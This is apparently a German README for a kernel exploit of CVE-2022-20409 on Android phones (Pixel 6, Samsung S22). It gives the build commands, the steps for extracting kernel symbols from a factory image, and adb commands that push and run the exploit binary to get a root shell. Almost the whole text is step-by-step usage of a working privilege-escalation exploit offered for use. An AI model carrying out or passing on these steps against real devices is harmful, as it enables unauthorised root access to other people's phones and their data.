
Android-Kernel-Exploitation für CVE-2022-20409
Stelle sicher, dass das Android NDK installiert ist. Für Pixel 6,
make pixel
Für Samsung S22,
make s22
Der Exploit unterstützt verschiedene Kernel-Versionen. Um den Exploit auf einen anderen Kernel zu portieren, musst du die Symboldatei des Zielkernels extrahieren.
Der Kernel kann aus dem Factory-Image des Telefons extrahiert werden. Für Pixel-Geräte lade das Factory-Image hier herunter.
Nach dem Herunterladen des Images extrahiere das Image, um die Datei boot.img zu erhalten. boot.img kann mit tools/unpack_bootimg.py extrahiert werden.
python3 tools/unpack_bootimg.py --boot_img boot.img --out out
Du findest den Kernel unter out/kernel.
Mit dem Kernel-Image können wir nun vmlinux-to-elf verwenden, um Kernel-Symbole daraus zu extrahieren.
./tools/vmlinux-to-elf/kallsyms-finder out/kernel > pixel.kallsyms
Du musst sicherstellen, dass der im Symbol extrahierte Version string mit der Kernel-Version deines Telefons übereinstimmt. Die Kernel-Version des Telefons kann über adb nachgeschlagen werden. Zum Beispiel:
sh-3.2$ adb shell
oriole:/ $ uname -a
Linux localhost 5.10.66-android12-9-00007-g66c74c58ab38-ab8262750 #1 SMP PREEMPT Mon Mar 7 01:27:36 UTC 2022 aarch64
entspricht
[+] Version string: Linux version 5.10.66-android12-9-00007-g66c74c58ab38-ab8262750 (build-user@build-host) (Android (7284624, based on r416183b) clang version 12.0.5 (https://android.googlesource.com/toolchain/llvm-project c935d99d7cf2016289302412d708641d52d2f7ee), LLD 12.0.5 (/buildbot/src/android/llvm-toolchain/out/llvm-project/lld c935d99d7cf2016289302412d708641d52d2f7ee)) #1 SMP PREEMPT Mon Mar 7 01:27:36 UTC 2022
Jetzt kannst du den Exploit und die Symboldatei auf das Telefon übertragen und es mit den folgenden Befehlen rooten.
make
adb push exp pixel.kallsyms /data/local/tmp
adb shell
cd /data/local/tmp
./exp pixel.kallsyms
Viel Spaß mit deiner Root-Shell :)